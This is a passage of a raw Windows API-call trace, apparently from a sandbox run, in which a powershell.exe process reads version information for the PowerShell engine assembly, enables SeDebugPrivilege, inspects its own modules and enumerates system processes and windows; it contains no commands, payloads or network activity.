lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.369] GetLastError () returned 0x2 [0057.374] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.374] GetLastError () returned 0x2 [0057.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e8f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.378] GetLastError () returned 0x2 [0057.378] GetVersionExW (in: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.378] GetLastError () returned 0x2 [0057.379] SetErrorMode (uMode=0x1) returned 0x1 [0057.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x16ed78 | out: lpFileInformation=0x16ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0057.381] GetLastError () returned 0x2 [0057.381] SetErrorMode (uMode=0x1) returned 0x1 [0057.383] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x16edfc | out: lpdwHandle=0x16edfc) returned 0x94c [0057.387] GetLastError () returned 0x0 [0057.389] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b24dcc | out: lpData=0x2b24dcc) returned 1 [0057.391] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16edc8, puLen=0x16edc4 | out: lplpBuffer=0x16edc8*=0x2b24e68, puLen=0x16edc4) returned 1 [0057.393] lstrlenW (lpString="䅁") returned 1 [0057.402] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b24f44, puLen=0x16ed40) returned 1 [0057.402] lstrlenW (lpString="Microsoft Corporation") returned 21 [0057.403] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b24f98, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="System.Management.Automation") returned 28 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b24ff4, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b25034, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b2509c, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b25138, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.404] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b2519c, puLen=0x16ed40) returned 1 [0057.404] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0057.404] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b25218, puLen=0x16ed40) returned 1 [0057.405] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.405] lstrcpyW (in: lpString1=0x607300, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x2b24ec0, puLen=0x16ed40) returned 1 [0057.405] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0057.405] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x0, puLen=0x16ed40) returned 0 [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x0, puLen=0x16ed40) returned 0 [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x16ed44, puLen=0x16ed40 | out: lplpBuffer=0x16ed44*=0x0, puLen=0x16ed40) returned 0 [0057.405] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16ed38, puLen=0x16ed34 | out: lplpBuffer=0x16ed38*=0x2b24e68, puLen=0x16ed34) returned 1 [0057.406] VerLanguageNameW (in: wLang=0x0, szLang=0x607300, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0057.417] VerQueryValueW (in: pBlock=0x2b24dcc, lpSubBlock="\\", lplpBuffer=0x16ed4c, puLen=0x16ed48 | out: lplpBuffer=0x16ed4c*=0x2b24df4, puLen=0x16ed48) returned 1 [0057.421] GetCurrentProcessId () returned 0xa24 [0057.427] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x16e584 | out: lpLuid=0x16e584*(LowPart=0x14, HighPart=0)) returned 1 [0057.430] GetLastError () returned 0x0 [0057.432] GetCurrentProcess () returned 0xffffffff [0057.432] GetLastError () returned 0x0 [0057.433] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x16e580 | out: TokenHandle=0x16e580*=0x300) returned 1 [0057.433] GetLastError () returned 0x0 [0057.435] AdjustTokenPrivileges (in: TokenHandle=0x300, DisableAllPrivileges=0, NewState=0x2b2790c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0057.435] GetLastError () returned 0x0 [0057.437] CloseHandle (hObject=0x300) returned 1 [0057.437] GetLastError () returned 0x0 [0057.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x300 [0057.440] GetLastError () returned 0x0 [0057.449] EnumProcessModules (in: hProcess=0x300, lphModule=0x2b27950, cb=0x100, lpcbNeeded=0x16ed74 | out: lphModule=0x2b27950, lpcbNeeded=0x16ed74) returned 1 [0057.449] GetLastError () returned 0x0 [0057.452] GetModuleInformation (in: hProcess=0x300, hModule=0x21c90000, lpmodinfo=0x2b27a90, cb=0xc | out: lpmodinfo=0x2b27a90*(lpBaseOfDll=0x21c90000, SizeOfImage=0x72000, EntryPoint=0x21c97363)) returned 1 [0057.452] GetLastError () returned 0x0 [0057.454] GetModuleBaseNameW (in: hProcess=0x300, hModule=0x21c90000, lpBaseName=0x5d1008, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0057.454] GetLastError () returned 0x0 [0057.455] GetModuleFileNameExW (in: hProcess=0x300, hModule=0x21c90000, lpFilename=0x5d1008, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0057.455] GetLastError () returned 0x0 [0057.456] CloseHandle (hObject=0x300) returned 1 [0057.456] GetLastError () returned 0x0 [0057.458] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xa24) returned 0x300 [0057.458] GetLastError () returned 0x0 [0057.460] GetExitCodeProcess (in: hProcess=0x300, lpExitCode=0x2b26f40 | out: lpExitCode=0x2b26f40*=0x103) returned 1 [0057.460] GetLastError () returned 0x0 [0057.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b25278, Length=0x20000, ResultLength=0x16edbc | out: SystemInformation=0x3b25278, ResultLength=0x16edbc*=0x9e48) returned 0x0 [0057.482] EnumWindows (lpEnumFunc=0x2ae3612, lParam=0x0) returned 1 [0057.484] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0xa60 [0057.484] GetLastError () returned 0x0 [0057.484] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x558 [0057.484] GetLastError () returned 0x0 [0057.484] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.484] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x538 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x778 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x778 [0057.485] GetLastError () returned 0x0 [0057.485] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.486] GetLastError () returned 0x0 [0057.486] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.487] GetLastError () returned 0x0 [0057.487] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.487] GetLastError () returned 0x0 [0057.487] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.487] GetLastError () returned 0x0 [0057.487] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.487] GetLastError () returned 0x0 [0057.487] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.487] GetLastError () returned 0x0 [0057.487] GetWindowThreadProcessId (in: hWnd=0x60120, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0xa28 [0057.487] GetLastError () returned 0x0 [0057.488] GetWindow (hWnd=0x60120, uCmd=0x4) returned 0x0 [0057.490] IsWindowVisible (hWnd=0x60120) returned 0 [0057.490] GetWindowThreadProcessId (in: hWnd=0x50122, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x9a8 [0057.490] GetLastError () returned 0x0 [0057.490] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x714 [0057.490] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x801be, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x9e4 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.491] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.491] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x244 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x90 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x6f8 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x110 [0057.492] GetLastError () returned 0x0 [0057.492] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7e0 [0057.492] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x590 [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x11c [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7b0 [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7e4 [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x734 [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x438 [0057.493] GetLastError () returned 0x0 [0057.493] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x724 [0057.493] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x204 [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x2ac [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x344 [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x618 [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x5b0 [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x440 [0057.494] GetLastError () returned 0x0 [0057.494] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x6e4 [0057.494] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x540 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x538 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x568 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x538 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x568 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x538 [0057.495] GetLastError () returned 0x0 [0057.495] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x540 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x540 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x510 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x57c [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x554 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.496] GetLastError () returned 0x0 [0057.496] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x528 [0057.497] GetLastError () returned 0x0 [0057.497] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.497] GetLastError () returned 0x0 [0057.497] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.497] GetLastError () returned 0x0 [0057.497] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.497] GetLastError () returned 0x0 [0057.497] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x79c [0057.497] GetLastError () returned 0x0 [0057.497] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.497] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4e0 [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x44c [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x778 [0057.498] GetLastError () returned 0x0 [0057.498] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.498] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x201ee, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0xa60 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x7011c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0xa60 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x558 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4d0 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x40124, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0xa38 [0057.499] GetLastError () returned 0x0 [0057.499] GetWindowThreadProcessId (in: hWnd=0x70112, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x9a8 [0057.499] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x714 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x9e4 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x244 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x90 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x6f8 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x110 [0057.500] GetLastError () returned 0x0 [0057.500] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7e0 [0057.500] GetLastError 